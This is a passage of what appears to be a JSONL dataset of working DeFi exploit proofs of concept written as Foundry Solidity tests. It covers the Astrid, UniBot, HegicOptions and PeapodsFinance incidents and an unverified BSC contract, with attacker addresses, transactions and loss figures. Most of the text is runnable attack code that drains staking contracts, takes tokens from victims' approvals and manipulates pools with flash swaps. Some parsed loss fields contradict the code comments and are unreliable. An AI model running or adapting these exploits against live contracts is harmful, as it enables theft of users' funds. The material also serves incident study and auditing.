balanceOf[sender] -= amount;\n totalSupply -= amount;\n emit Transfer(sender, address(0), amount);\n }\n\n function scaledBalanceOf(\n address user\n ) external pure returns (uint256) {\n return 0;\n }\n\n function stakedTokenAddress() external returns (address) {\n return stakedTokenAddr;\n }\n\n function scaledBalanceToBalance(\n uint256 a\n ) external returns (uint256) {\n return scaledBalanceToBal;\n }\n}\n\ninterface Vulnerable {\n function withdraw(address _restakedTokenAddress, uint256 amount) external;\n function claim(\n uint256 withdrawerIndex\n ) external;\n}\n\ninterface IuniswapV3 {\n function token0() external view returns (address);\n function token1() external view returns (address);\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external;\n}\n\ncontract ASTTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Vulnerable vulnerable = Vulnerable(0xbAa87546cF87b5De1b0b52353A86792D40b8BA70);\n IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);\n IERC20 rETH = IERC20(0xae78736Cd615f374D3085123A210448E74Fc6393);\n IERC20 cbETH = IERC20(0xBe9895146f7AF43049ca1c1AE358B0541Ea49704);\n ICurvePool LidoCurvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);\n IuniswapV3 rETHPool = IuniswapV3(0xa4e0faA58465A2D369aa21B3e42d43374c6F9613);\n IuniswapV3 cbETHPool = IuniswapV3(0x840DEEef2f115Cf50DA625F7368C24af6fE74410);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 18_448_167);\n }\n\n function testExpolit() public {\n address[] memory stakedTokens = new address[](3);\n stakedTokens[0] = address(stETH);\n stakedTokens[1] = address(rETH);\n stakedTokens[2] = address(cbETH);\n deal(address(this), 0);\n uint256[] memory balances = new uint256[](3);\n emit log_named_decimal_uint(\"Attacker Eth balance before attack:\", address(this).balance, 18);\n for (uint8 i = 0; i < stakedTokens.length; i++) {\n uint256 staked_bal = IERC20(stakedTokens[i]).balanceOf(address(vulnerable));\n balances[i] = staked_bal;\n MyERC20 fake_token = new MyERC20(stakedTokens[i], staked_bal);\n fake_token.mint(10_000 * 1e18);\n fake_token.approve(address(vulnerable), type(uint256).max);\n\n vulnerable.withdraw(address(fake_token), staked_bal);\n vulnerable.claim(i);\n }\n\n //changing stETH to eth\n stETH.approve(address(LidoCurvePool), balances[0]);\n LidoCurvePool.exchange(1, 0, balances[0], 0);\n\n //changing rETH to weth\n rETH.approve(address(rETHPool), balances[1]);\n rETHPool.swap(address(this), true, int256(balances[1]), 4_295_128_740, new bytes(0));\n\n //changing cbETH to weth\n cbETH.approve(address(cbETHPool), balances[2]);\n cbETHPool.swap(address(this), true, int256(balances[2]), 4_295_128_740, new bytes(0));\n\n WETH.withdraw(WETH.balanceOf(address(this)));\n emit log_named_decimal_uint(\"Attacker Eth balance after attack:\", address(this).balance, 18);\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n if (amount0Delta > 0) {\n IERC20(IuniswapV3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));\n } else if (amount1Delta > 0) {\n IERC20(IuniswapV3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));\n }\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Astrid", "date": "2023-10", "file_name": "Astrid_exp.sol", "attack_vector": null, "content_hash": "23b69fdbd6e6eb66", "collected_at": "2026-01-07T10:59:16.543211", "_source": "postmortems", "chain": "ethereum", "block_number": 18448167, "total_lost_raw": "~228591 USD$", "total_lost_usd": 228591.0, "attacker_address": "https://etherscan.io/address/0x792ec27874e1f614e757a1ae49d00ef5b2c73959", "attack_contract": "https://etherscan.io/address/0xb2e855411f67378c08f47401eacff37461e16188", "vulnerable_contract": "https://etherscan.io/address/0xbAa87546cF87b5De1b0b52353A86792D40b8BA70", "attack_tx": "https://etherscan.io/tx/0x8af9b5fb3e2e3df8659ffb2e0f0c1f4c90d5a80f4f6fccef143b823ce673fb60", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~228591 USD$", "category": "unknown", "exploit_code": "function testExpolit() public {\n address[] memory stakedTokens = new address[](3);\n stakedTokens[0] = address(stETH);\n stakedTokens[1] = address(rETH);\n stakedTokens[2] = address(cbETH);\n deal(address(this), 0);\n uint256[] memory balances = new uint256[](3);\n emit log_named_decimal_uint(\"Attacker Eth balance before attack:\", address(this).balance, 18);\n for (uint8 i = 0; i < stakedTokens.length; i++) {\n uint256 staked_bal = IERC20(stakedTokens[i]).balanceOf(address(vulnerable));\n balances[i] = staked_bal;\n MyERC20 fake_token = new MyERC20(stakedTokens[i], staked_bal);\n fake_token.mint(10_000 * 1e18);\n fake_token.approve(address(vulnerable), type(uint256).max);\n\n vulnerable.withdraw(address(fake_token), staked_bal);\n vulnerable.claim(i);\n }\n\n //changing stETH to eth\n stETH.approve(address(LidoCurvePool), balances[0]);\n LidoCurvePool.exchange(1, 0, balances[0], 0);\n\n //changing rETH to weth\n rETH.approve(address(rETHPool), balances[1]);\n rETHPool.swap(address(this), true, int256(balances[1]), 4_295_128_740, new bytes(0));\n\n //changing cbETH to weth\n cbETH.approve(address(cbETHPool), balances[2]);\n cbETHPool.swap(address(this), true, int256(balances[2]), 4_295_128_740, new bytes(0));\n\n WETH.withdraw(WETH.balanceOf(address(this)));\n emit log_named_decimal_uint(\"Attacker Eth balance after attack:\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~228591 USD$", "keyinfo_attacker": "https://etherscan.io/address/0x792ec27874e1f614e757a1ae49d00ef5b2c73959", "keyinfo_attack_contract": "https://etherscan.io/address/0xb2e855411f67378c08f47401eacff37461e16188", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xbAa87546cF87b5De1b0b52353A86792D40b8BA70", "keyinfo_attack_tx": "https://etherscan.io/tx/0x8af9b5fb3e2e3df8659ffb2e0f0c1f4c90d5a80f4f6fccef143b823ce673fb60", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$228.6K", "content_richness_score": 8.89, "quality_estimate": "high", "title": "Astrid Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.20;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~83,994 USD$\n// Attacker : https://etherscan.io/address/0x413e4fb75c300b92fec12d7c44e4c0b4faab4d04\n// Attack Contract : https://etherscan.io/address/0x2b326a17b5ef826fa4e17d3836364ae1f0231a6f\n// Attacker Transaction :\n// https://etherscan.io/tx/0xcbe521aea28911fe9983030748028e12541e347b8b6b974d026fa5065c22f0cf\n\n// @Analysis\n// https://twitter.com/PeckShieldAlert/status/1719251390319796477\n\ninterface IUniBotRouter {}\n\n// The hacker sent multiple transactions to attack, just taking the first transaction as an example.\n\ncontract IUniBotRouterExploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n IUniBotRouter router = IUniBotRouter(0x126c9FbaB3A2FCA24eDfd17322E71a5e36E91865);\n IERC20 UniBot = IERC20(0xf819d9Cb1c2A819Fd991781A822dE3ca8607c3C9);\n WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 18_467_805);\n\n cheats.label(address(router), \"UniBotRouter\");\n cheats.label(address(UniBot), \"UniBot Token\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Attacker UniBot balance before exploit\", UniBot.balanceOf(address(this)), UniBot.decimals()\n );\n\n address[] memory victims = new address[](17);\n\n victims[0] = 0xA20Cb17D888b7E426A3a7Ca2E583706dE48a04f3;\n victims[1] = 0x9a74A98Df43c085D89c6311746fe5C9D989982e5;\n victims[2] = 0x2004DE74c1c41A6943f364508f2e1a2390D0C9f9;\n victims[3] = 0x7cf45fc309E45bFF39178f475e6A8B2A7d34B664;\n victims[4] = 0x69B0E938172b4ed5d8184420b202B8277AbACEad;\n victims[5] = 0x111bA89bd55e6d88e0CD1E193601E3a612FA703D;\n victims[6] = 0xB03b67cBae72c26CB262e5299a7FBC44A3f9D60A;\n victims[7] = 0xA6C9dA49553bcfec4633F4a0B81FBb4255F590fB;\n victims[8] = 0xEEE050e1C0644364Ba53872f096Ba4F8088eA22F;\n victims[9] = 0x4E19e37187Ca00F8eD8B6Ad258c6CaD823AA67b4;\n victims[10] = 0xde6E807908B7cB01aA19402fd022c20f1B02AA9d;\n victims[11] = 0x0d2FC413c1bEEB51f0c91a851Cb27421bccC75aC;\n victims[12] = 0x97508F07D974FB02B79bf26bBa7bCE96E0e0985A;\n victims[13] = 0x8523e886556CF1Bb539afF13d339cb1f3F9ecB25;\n victims[14] = 0xEba8364c737c6C58c89C9907567eCd5265f08ac2;\n victims[15] = 0x8a1Ee663e8Cd3F967D1814657A8858246ED31444;\n victims[16] = 0x92c3717A1318cf0e02883Ca0BAE73bd90469325A;\n\n bytes4 vulnFunctionSignature = hex\"b2bd16ab\";\n address[] memory first_param = new address[](4);\n first_param[0] = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);\n first_param[1] = address(UniBot);\n first_param[2] = address(UniBot);\n first_param[3] = address(UniBot);\n for (uint256 i = 0; i < victims.length; i++) {\n uint256 allowance = UniBot.allowance(victims[i], address(router));\n uint256 balance = UniBot.balanceOf(victims[i]);\n balance = allowance < balance ? allowance : balance;\n bytes memory transferFromData =\n abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", victims[i], address(this), balance);\n bytes memory data = abi.encodeWithSelector(\n vulnFunctionSignature, first_param, 0, true, 100_000, transferFromData, new address[](1)\n );\n (bool success, bytes memory result) = address(router).call(data);\n }\n uint256 UniBotBalance = UniBot.balanceOf(address(this));\n emit log_named_decimal_uint(\"Attacker UniBot balance after exploit\", UniBotBalance, UniBot.decimals());\n }\n}\n", "type": "exploit_poc", "protocol": "UniBot", "date": "2023-10", "file_name": "UniBot_exp.sol", "attack_vector": null, "content_hash": "102f808e67724a52", "collected_at": "2026-01-07T10:59:16.543274", "_source": "postmortems", "chain": "ethereum", "block_number": 18467805, "total_lost_raw": "~83,994 USD$", "total_lost_usd": 83.0, "attacker_address": "https://etherscan.io/address/0x413e4fb75c300b92fec12d7c44e4c0b4faab4d04", "attack_contract": "https://etherscan.io/address/0x2b326a17b5ef826fa4e17d3836364ae1f0231a6f", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~83,994 USD$", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Attacker UniBot balance before exploit\", UniBot.balanceOf(address(this)), UniBot.decimals()\n );\n\n address[] memory victims = new address[](17);\n\n victims[0] = 0xA20Cb17D888b7E426A3a7Ca2E583706dE48a04f3;\n victims[1] = 0x9a74A98Df43c085D89c6311746fe5C9D989982e5;\n victims[2] = 0x2004DE74c1c41A6943f364508f2e1a2390D0C9f9;\n victims[3] = 0x7cf45fc309E45bFF39178f475e6A8B2A7d34B664;\n victims[4] = 0x69B0E938172b4ed5d8184420b202B8277AbACEad;\n victims[5] = 0x111bA89bd55e6d88e0CD1E193601E3a612FA703D;\n victims[6] = 0xB03b67cBae72c26CB262e5299a7FBC44A3f9D60A;\n victims[7] = 0xA6C9dA49553bcfec4633F4a0B81FBb4255F590fB;\n victims[8] = 0xEEE050e1C0644364Ba53872f096Ba4F8088eA22F;\n victims[9] = 0x4E19e37187Ca00F8eD8B6Ad258c6CaD823AA67b4;\n victims[10] = 0xde6E807908B7cB01aA19402fd022c20f1B02AA9d;\n victims[11] = 0x0d2FC413c1bEEB51f0c91a851Cb27421bccC75aC;\n victims[12] = 0x97508F07D974FB02B79bf26bBa7bCE96E0e0985A;\n victims[13] = 0x8523e886556CF1Bb539afF13d339cb1f3F9ecB25;\n victims[14] = 0xEba8364c737c6C58c89C9907567eCd5265f08ac2;\n victims[15] = 0x8a1Ee663e8Cd3F967D1814657A8858246ED31444;\n victims[16] = 0x92c3717A1318cf0e02883Ca0BAE73bd90469325A;\n\n bytes4 vulnFunctionSignature = hex\"b2bd16ab\";\n address[] memory first_param = new address[](4);\n first_param[0] = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);\n first_param[1] = address(UniBot);\n first_param[2] = address(UniBot);\n first_param[3] = address(UniBot);\n for (uint256 i = 0; i < victims.length; i++) {\n uint256 allowance = UniBot.allowance(victims[i], address(router));\n uint256 balance = UniBot.balanceOf(victims[i]);\n balance = allowance < balance ? allowance : balance;\n bytes memory transferFromData =\n abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", victims[i], address(this), balance);\n bytes memory data = abi.encodeWithSelector(\n vulnFunctionSignature, first_param, 0, true, 100_000, transferFromData, new address[](1)\n );\n (bool success, bytes memory result) = address(router).call(data);\n }\n uint256 UniBotBalance = UniBot.balanceOf(address(this));\n emit log_named_decimal_uint(\"Attacker UniBot balance after exploit\", UniBotBalance, UniBot.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x413e4fb75c300b92fec12d7c44e4c0b4faab4d04", "keyinfo_attack_contract": "https://etherscan.io/address/0x2b326a17b5ef826fa4e17d3836364ae1f0231a6f", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$83", "content_richness_score": 5.88, "quality_estimate": "medium", "title": "UniBot Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~104M\n// Attacker : https://etherscan.io/address/0x4B53608fF0cE42cDF9Cf01D7d024C2c9ea1aA2e8\n// Attack Contract : https://etherscan.io/address/0xF51E888616a123875EAf7AFd4417fbc4111750f7\n// Vulnerable Contract : https://etherscan.io/address/0x7094E706E75E13D1E0ea237f71A7C4511e9d270B\n// Attack Tx 1: 0x260d5eb9151c565efda80466de2e7eee9c6bd4973d54ff68c8e045a26f62ea73\n// Attack Tx 2: 0x444854ee7e7570f146b64aa8a557ede82f326232e793873f0bbd04275fa7e54c\n\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x7094E706E75E13D1E0ea237f71A7C4511e9d270B#code\n\n// @Analysis\n// Post-mortem : \n// Twitter Guy : \npragma solidity ^0.8.0;\n\ncontract HegicOptions is Test {\n uint256 blocknumToForkFrom1 = 21912408;\n uint256 blocknumToForkFrom2 = 21912423;\n address constant victim_contract_address = 0x7094E706E75E13D1E0ea237f71A7C4511e9d270B;\n address constant attacker_address = 0xF51E888616a123875EAf7AFd4417fbc4111750f7;\n address constant wbtc_address = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;\n\n IHegic_WBTC_ATM_Puts_Pool Hegic_WBTC_ATM_Puts_Pool;\n IERC20 WBTC;\n\n function setUp() public {\n WBTC = IERC20(wbtc_address);\n Hegic_WBTC_ATM_Puts_Pool = IHegic_WBTC_ATM_Puts_Pool(victim_contract_address);\n }\n\n function testExploit() public {\n // The attacker initially deposited 0.0025 WBTC into the victim contract. \n // Tx: 0x9c27d45c1daa943ce0b92a70ba5efa6ab34409b14b568146d2853c1ddaf14f82\n\n vm.startPrank(attacker_address, attacker_address);\n \n // Attack Tx 1\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom1);\n emit log_named_decimal_uint(\"[Begin] Attacker WBTC before Tx1\", WBTC.balanceOf(attacker_address), 8);\n for (uint256 i = 0; i < 100; i++){\n Hegic_WBTC_ATM_Puts_Pool.withdrawWithoutHedge(2);\n }\n emit log_named_decimal_uint(\"[End] Attacker WBTC after Tx1\", WBTC.balanceOf(attacker_address), 8);\n\n // Between tx1 and tx2, the attacker had already withdraw the stolen WBTC from the attack contract. \n // Tx: 0x722f67f6f9536fa6bbf4af447250e84b8b9270b66195059c9904a0e249543e80\n \n // Attack Tx 2\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom2);\n emit log_named_decimal_uint(\"[Begin] Attacker WBTC before Tx2\", WBTC.balanceOf(attacker_address), 8);\n for (uint256 i = 0; i < 331; i++){\n Hegic_WBTC_ATM_Puts_Pool.withdrawWithoutHedge(2);\n }\n emit log_named_decimal_uint(\"[End] Attacker WBTC after Tx2\", WBTC.balanceOf(attacker_address), 8);\n \n vm.stopPrank();\n }\n}\n\ninterface IHegic_WBTC_ATM_Puts_Pool {\n function withdrawWithoutHedge(uint256 trancheID) external returns (uint256 amount);\n}\n", "type": "exploit_poc", "protocol": "HegicOptions", "date": "2025-02", "file_name": "HegicOptions_exp.sol", "attack_vector": null, "content_hash": "1e0bf2f3d47c72d6", "collected_at": "2026-01-07T10:59:16.543328", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~104M", "total_lost_usd": 104000000.0, "attacker_address": "https://etherscan.io/address/0x4B53608fF0cE42cDF9Cf01D7d024C2c9ea1aA2e8", "attack_contract": "https://etherscan.io/address/0xF51E888616a123875EAf7AFd4417fbc4111750f7", "vulnerable_contract": "https://etherscan.io/address/0x7094E706E75E13D1E0ea237f71A7C4511e9d270B", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~104M", "category": "unknown", "exploit_code": "function testExploit() public {\n // The attacker initially deposited 0.0025 WBTC into the victim contract. \n // Tx: 0x9c27d45c1daa943ce0b92a70ba5efa6ab34409b14b568146d2853c1ddaf14f82\n\n vm.startPrank(attacker_address, attacker_address);\n \n // Attack Tx 1\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom1);\n emit log_named_decimal_uint(\"[Begin] Attacker WBTC before Tx1\", WBTC.balanceOf(attacker_address), 8);\n for (uint256 i = 0; i < 100; i++){\n Hegic_WBTC_ATM_Puts_Pool.withdrawWithoutHedge(2);\n }\n emit log_named_decimal_uint(\"[End] Attacker WBTC after Tx1\", WBTC.balanceOf(attacker_address), 8);\n\n // Between tx1 and tx2, the attacker had already withdraw the stolen WBTC from the attack contract. \n // Tx: 0x722f67f6f9536fa6bbf4af447250e84b8b9270b66195059c9904a0e249543e80\n \n // Attack Tx 2\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom2);\n emit log_named_decimal_uint(\"[Begin] Attacker WBTC before Tx2\", WBTC.balanceOf(attacker_address), 8);\n for (uint256 i = 0; i < 331; i++){\n Hegic_WBTC_ATM_Puts_Pool.withdrawWithoutHedge(2);\n }\n emit log_named_decimal_uint(\"[End] Attacker WBTC after Tx2\", WBTC.balanceOf(attacker_address), 8);\n \n vm.stopPrank();\n }\n}\n\ninterface IHegic_WBTC_ATM_Puts_Pool {", "has_exploit_code": true, "keyinfo_total_lost": "~104M", "keyinfo_attacker": "https://etherscan.io/address/0x4B53608fF0cE42cDF9Cf01D7d024C2c9ea1aA2e8", "keyinfo_attack_contract": "https://etherscan.io/address/0xF51E888616a123875EAf7AFd4417fbc4111750f7", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x7094E706E75E13D1E0ea237f71A7C4511e9d270B", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$104.00M", "content_richness_score": 6.44, "quality_estimate": "medium", "title": "HegicOptions Exploit (2025-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ $3,500\n// Attacker : https://etherscan.io/address/0xedee6379fe90bd9b85d8d0b767d4a6deb0dc9dcf\n// Attack Tx : https://etherscan.io/tx/0x2c1a19982aa88bee8a5d9a5dfeb406f2bfe1cfc1213f20e91d91ce3b55c86cc5\n\n// @Analysis\n// Post-mortem : https://blog.solidityscan.com/peapods-finance-hack-analysis-bdc5432107a5\n\naddress constant pOHM = 0x88E08adB69f2618adF1A3FF6CC43c671612D1ca4;\naddress constant PEAS = 0x02f92800F57BCD74066F5709F1Daa1A4302Df875;\naddress constant TokenRewards = 0x7d48D6D775FaDA207291B37E3eaA68Cc865bf9Eb;\n\naddress constant UniswapV2Pair = 0x80e9C48ec41AF7a0Ed6Cf4f3ac979f3538021608;\naddress constant UniswapV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;\n\ncontract PeapodsFinance_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 21_800_591 - 1);\n\n vm.label(attacker, \"Attacker\");\n vm.label(pOHM, \"pOHM\");\n vm.label(PEAS, \"PEAS\");\n vm.label(TokenRewards, \"TokenRewards\");\n vm.label(UniswapV2Pair, \"Uniswap V2: Pair\");\n vm.label(UniswapV3Router, \"Uniswap V3: Router\");\n\n vm.deal(attacker, 1 ether);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Before balance of pOHM\", IERC20(pOHM).balanceOf(attacker), 18);\n\n vm.startPrank(attacker);\n AttackerC attC = new AttackerC(attacker);\n attC.attack();\n vm.stopPrank();\n\n emit log_named_decimal_uint(\"After balance of pOHM\", IERC20(pOHM).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC {\n address attacker;\n\n constructor(address _attacker) {\n attacker = _attacker;\n }\n\n function attack() public {\n IUniswapV2Pair(UniswapV2Pair).swap(0, 9_420_000_000_000_000_000_000, address(this), hex\"61\");\n\n uint256 balanceOfpOHM = IERC20(pOHM).balanceOf(address(this));\n IERC20(pOHM).transfer(attacker, balanceOfpOHM);\n }\n\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n IERC20(pOHM).approve(UniswapV3Router, amount1);\n\n Uni_Router_V3.ExactInputSingleParams memory params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: pOHM,\n tokenOut: PEAS,\n fee: 10_000,\n recipient: address(this),\n deadline: block.timestamp + 100,\n amountIn: amount1,\n amountOutMinimum: 1,\n sqrtPriceLimitX96: 0\n });\n uint256 amountOut = Uni_Router_V3(UniswapV3Router).exactInputSingle(params);\n // console.log(\"amountOut: \", amountOut);\n\n ITokenRewards(TokenRewards).depositFromPairedLpToken(0, 999);\n\n uint256 balanceOfPEAS = IERC20(PEAS).balanceOf(address(this));\n IERC20(PEAS).approve(UniswapV3Router, balanceOfPEAS);\n\n Uni_Router_V3.ExactInputSingleParams memory params2 = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: PEAS,\n tokenOut: pOHM,\n fee: 10_000,\n recipient: address(this),\n deadline: block.timestamp + 100,\n amountIn: balanceOfPEAS,\n amountOutMinimum: 1,\n sqrtPriceLimitX96: 0\n });\n uint256 amountOut2 = Uni_Router_V3(UniswapV3Router).exactInputSingle(params2);\n // console.log(\"amountOut2: \", amountOut2);\n\n IERC20(pOHM).transfer(UniswapV2Pair, 9_448_345_035_105_315_947_844);\n }\n}\n\ninterface ITokenRewards {\n function depositFromPairedLpToken(uint256 _amountTknDepositing, uint256 _slippageOverride) external;\n}\n", "type": "exploit_poc", "protocol": "PeapodsFinance", "date": "2025-02", "file_name": "PeapodsFinance_exp.sol", "attack_vector": null, "content_hash": "0f12aca1870c3966", "collected_at": "2026-01-07T10:59:16.543379", "_source": "postmortems", "chain": "ethereum", "block_number": 21800591, "total_lost_raw": "~ $3,500", "total_lost_usd": 3.0, "attacker_address": "https://etherscan.io/address/0xedee6379fe90bd9b85d8d0b767d4a6deb0dc9dcf", "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x2c1a19982aa88bee8a5d9a5dfeb406f2bfe1cfc1213f20e91d91ce3b55c86cc5", "postmortem_url": "https://blog.solidityscan.com/peapods-finance-hack-analysis-bdc5432107a5", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~ $3,500", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Before balance of pOHM\", IERC20(pOHM).balanceOf(attacker), 18);\n\n vm.startPrank(attacker);\n AttackerC attC = new AttackerC(attacker);\n attC.attack();\n vm.stopPrank();\n\n emit log_named_decimal_uint(\"After balance of pOHM\", IERC20(pOHM).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC {\n address attacker;\n\n constructor(address _attacker) {\n attacker = _attacker;\n }", "has_exploit_code": true, "keyinfo_total_lost": "~ $3,500", "keyinfo_attacker": "https://etherscan.io/address/0xedee6379fe90bd9b85d8d0b767d4a6deb0dc9dcf", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0x2c1a19982aa88bee8a5d9a5dfeb406f2bfe1cfc1213f20e91d91ce3b55c86cc5", "analysis_postmortem": "https://blog.solidityscan.com/peapods-finance-hack-analysis-bdc5432107a5", "analysis_twitter": "", "funds_lost_formatted": "$3", "content_richness_score": 6.84, "quality_estimate": "medium", "title": "PeapodsFinance Exploit (2025-02)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 6700 USD\n// Attacker : https://bscscan.com/address/0xd75652ada2f6a140f2ffcd7cd20f34c21fbc3fbc\n// Attack Contract : https://bscscan.com/address/0x0a2f4da966319c14ee4c9f1a2bf04fe738df3ce5\n// Vulnerable Contract : https://bscscan.com/address/0xde91e6e937ec344e5a3c800539c41979c2d85278\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xd7a61b07ca4dc5966d00b3cc99b03c6ab2cee688fa13b30bea08f5142023777d\n\n// @Info\n// Vulnerable Contract Code :\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1893333680417890648\n// Twitter Guy : https://x.com/TenArmorAlert/status/1893333680417890648\n// Hacking God : \n\naddress constant addr = 0xDE91E6E937Ec344e5a3C800539C41979c2d85278;\naddress constant attacker = 0xD75652Ada2F6a140f2fFcD7CD20f34C21fbC3fBc;\n\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"bsc\", 46886078-1);\n deal(attacker, 0.6 ether);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC{value: 0.6 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0x4634C13E68DDf52CEFd0a7a1E6002ab4747cDE7b\ncontract AttackerC {\n HelperB internal helper;\n\n constructor() payable {\n // create_1 contract 0x0A2f4DA966319C14Ee4C9f1A2BF04fE738DF3Ce5 with 0 wei\n helper = new HelperB();\n // call helper.attack with value = msg.value\n (bool ok, ) = address(helper).call{value: msg.value}(abi.encodeWithSelector(HelperB.attack.selector));\n if (!ok) {\n // ignore failure\n }\n // call back to caller with value 3 * 10^15 * 3600 wei and gas 0\n unchecked {\n uint256 amt = 3 * 10**15 * 3600;\n // use low-level call with zero gas forwarded is not possible in solidity; mimic by sending and ignoring result\n (bool s, ) = payable(tx.origin).call{value: amt}(\"\");\n if (!s) {}\n }\n }\n\n // receive to accept refunds\n receive() external payable {}\n}\n\n// Helper contract emulating 0x0A2f4DA966319C14Ee4C9f1A2BF04fE738DF3Ce5\ncontract HelperB {\n // Constructor: if keccak(tx.origin) == constant; no effect needed\n constructor() {}\n\n function attack() external payable {\n // call addr.unlockSlot(3) with value msg.value\n (bool ok1, ) = addr.call{value: msg.value}(abi.encodeWithSelector(bytes4(keccak256(\"unlockSlot(uint256)\")), uint256(3)));\n if (!ok1) {}\n // call addr.unknown2dad6442(3) no value\n (bool ok2, ) = addr.call(abi.encodeWithSelector(bytes4(0x2dad6442), uint256(3)));\n if (!ok2) {}\n // send 3 * 10^15 * 3600 wei to caller\n unchecked {\n uint256 amt = 3 * 10**15 * 3600;\n (bool s, ) = payable(msg.sender).call{value: amt}(\"\");\n if (!s) {}\n }\n }\n\n fallback() external payable {\n // call caller.unknown2dad6442(3)\n (bool ok, ) = addr.call(abi.encodeWithSelector(bytes4(0x2dad6442), uint256(3)));\n if (!ok) {}\n }\n\n // receive() external payable {}\n}", "type": "exploit_poc", "protocol": "unverified_35bc", "date": "2025-02", "file_name": "unverified_35bc_exp.sol", "attack_vector": null, "content_hash": "6c6931a2f37df821", "collected_at": "2026-01-07T10:59:16.543434", "_source": "postmortems", "chain": "bsc", "block_number": 46886078, "total_lost_raw": "6700 USD", "total_lost_usd": 6700.0, "attacker_address": "https://bscscan.com/address/0xd75652ada2f6a140f2ffcd7cd20f34c21fbc3fbc", "attack_contract": "https://bscscan.com/address/0x0a2f4da966319c14ee4c9f1a2bf04fe738df3ce5", "vulnerable_contract": "https://bscscan.com/address/0xde91e6e937ec344e5a3c800539c41979c2d85278", "attack_tx": 